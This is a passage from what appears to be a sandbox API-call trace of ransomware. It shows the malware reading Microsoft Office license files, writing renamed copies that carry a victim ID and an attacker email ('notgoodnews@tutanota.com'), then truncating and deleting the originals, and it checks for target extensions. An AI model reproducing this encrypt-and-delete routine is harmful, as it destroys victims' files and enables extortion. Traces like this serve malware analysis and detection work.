lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.008] lstrlenW (lpString=".ppt") returned 4 [0188.008] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.008] lstrlenW (lpString=".zip") returned 4 [0188.008] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString=".rar") returned 4 [0188.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString=".bz2") returned 4 [0188.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString=".7z") returned 3 [0188.008] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.008] lstrlenW (lpString=".dbf") returned 4 [0188.008] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.008] lstrlenW (lpString=".1cd") returned 4 [0188.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.008] lstrlenW (lpString=".jpg") returned 4 [0188.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.009] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.009] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35 [0188.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.010] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19957) returned 1 [0188.010] CloseHandle (hObject=0x518) returned 1 [0188.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0188.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.011] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.011] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0188.013] GetLastError () returned 0x0 [0188.013] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x4df5, lpOverlapped=0x0) returned 1 [0188.015] WriteFile (in: hFile=0x574, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0188.017] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.017] WriteFile (in: hFile=0x574, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x11a, lpOverlapped=0x0) returned 1 [0188.017] SetEndOfFile (hFile=0x574) returned 1 [0188.017] CloseHandle (hObject=0x574) returned 1 [0188.017] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.017] SetEndOfFile (hFile=0x518) returned 1 [0188.021] CloseHandle (hObject=0x518) returned 1 [0188.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1 [0188.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.023] lstrlenW (lpString=".doc") returned 4 [0188.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString=".docx") returned 5 [0188.024] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.024] lstrlenW (lpString=".pdf") returned 4 [0188.024] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString=".xls") returned 4 [0188.024] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString=".xlsx") returned 5 [0188.024] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.024] lstrlenW (lpString=".ppt") returned 4 [0188.024] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.024] lstrlenW (lpString=".zip") returned 4 [0188.024] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString=".rar") returned 4 [0188.024] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString=".bz2") returned 4 [0188.024] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString=".7z") returned 3 [0188.024] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.024] lstrlenW (lpString=".dbf") returned 4 [0188.024] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.024] lstrlenW (lpString=".1cd") returned 4 [0188.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.024] lstrlenW (lpString=".jpg") returned 4 [0188.025] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.025] lstrlenW (lpString=".doc") returned 4 [0188.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString=".docx") returned 5 [0188.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.025] lstrlenW (lpString=".pdf") returned 4 [0188.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString=".xls") returned 4 [0188.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString=".xlsx") returned 5 [0188.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.025] lstrlenW (lpString=".ppt") returned 4 [0188.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.025] lstrlenW (lpString=".zip") returned 4 [0188.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString=".rar") returned 4 [0188.025] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString=".bz2") returned 4 [0188.025] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.025] lstrlenW (lpString=".7z") returned 3 [0188.025] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.026] lstrlenW (lpString=".dbf") returned 4 [0188.026] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.026] lstrlenW (lpString=".1cd") returned 4 [0188.026] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0188.026] lstrlenW (lpString=".jpg") returned 4 [0188.026] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.026] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.026] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29 [0188.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.028] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10651) returned 1 [0188.028] CloseHandle (hObject=0x518) returned 1 [0188.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0188.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.028] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.028] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0188.030] GetLastError () returned 0x0 [0188.030] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x299b, lpOverlapped=0x0) returned 1 [0188.032] WriteFile (in: hFile=0x574, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0188.034] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.034] WriteFile (in: hFile=0x574, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10e, lpOverlapped=0x0) returned 1 [0188.034] SetEndOfFile (hFile=0x574) returned 1 [0188.034] CloseHandle (hObject=0x574) returned 1 [0188.034] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.034] SetEndOfFile (hFile=0x518) returned 1 [0188.038] CloseHandle (hObject=0x518) returned 1 [0188.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1 [0188.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.040] lstrlenW (lpString=".doc") returned 4 [0188.040] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString=".docx") returned 5 [0188.040] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.040] lstrlenW (lpString=".pdf") returned 4 [0188.040] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString=".xls") returned 4 [0188.040] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString=".xlsx") returned 5 [0188.040] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.040] lstrlenW (lpString=".ppt") returned 4 [0188.040] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.040] lstrlenW (lpString=".zip") returned 4 [0188.040] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString=".rar") returned 4 [0188.040] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString=".bz2") returned 4 [0188.040] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.040] lstrlenW (lpString=".7z") returned 3 [0188.040] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.040] lstrlenW (lpString=".dbf") returned 4 [0188.041] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.041] lstrlenW (lpString=".1cd") returned 4 [0188.041] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.041] lstrlenW (lpString=".jpg") returned 4 [0188.041] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.041] lstrlenW (lpString=".doc") returned 4 [0188.041] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString=".docx") returned 5 [0188.041] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.041] lstrlenW (lpString=".pdf") returned 4 [0188.041] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString=".xls") returned 4 [0188.041] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString=".xlsx") returned 5 [0188.041] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.041] lstrlenW (lpString=".ppt") returned 4 [0188.041] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.041] lstrlenW (lpString=".zip") returned 4 [0188.041] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.041] lstrlenW (lpString=".rar") returned 4 [0188.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.042] lstrlenW (lpString=".bz2") returned 4 [0188.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.042] lstrlenW (lpString=".7z") returned 3 [0188.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.221] lstrlenW (lpString=".dbf") returned 4 [0188.221] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.222] lstrlenW (lpString=".1cd") returned 4 [0188.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0188.222] lstrlenW (lpString=".jpg") returned 4 [0188.222] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.222] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.222] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33 [0188.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.487] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19949) returned 1 [0188.487] CloseHandle (hObject=0x518) returned 1 [0188.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0188.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0188.873] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.873] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0188.875] GetLastError () returned 0x0 [0188.875] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x4ded, lpOverlapped=0x0) returned 1 [0188.877] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0188.879] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.879] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x116, lpOverlapped=0x0) returned 1 [0188.879] SetEndOfFile (hFile=0x2e8) returned 1 [0188.879] CloseHandle (hObject=0x2e8) returned 1 [0188.879] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.879] SetEndOfFile (hFile=0x2e4) returned 1 [0188.884] CloseHandle (hObject=0x2e4) returned 1 [0188.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1 [0188.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.886] lstrlenW (lpString=".doc") returned 4 [0188.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.886] lstrlenW (lpString=".docx") returned 5 [0188.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.886] lstrlenW (lpString=".pdf") returned 4 [0188.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.886] lstrlenW (lpString=".xls") returned 4 [0188.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.886] lstrlenW (lpString=".xlsx") returned 5 [0188.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.886] lstrlenW (lpString=".ppt") returned 4 [0188.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.886] lstrlenW (lpString=".zip") returned 4 [0188.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.886] lstrlenW (lpString=".rar") returned 4 [0188.887] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString=".bz2") returned 4 [0188.887] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString=".7z") returned 3 [0188.887] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.887] lstrlenW (lpString=".dbf") returned 4 [0188.887] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.887] lstrlenW (lpString=".1cd") returned 4 [0188.887] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.887] lstrlenW (lpString=".jpg") returned 4 [0188.887] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString="C:\\Program Files\\Microsoft 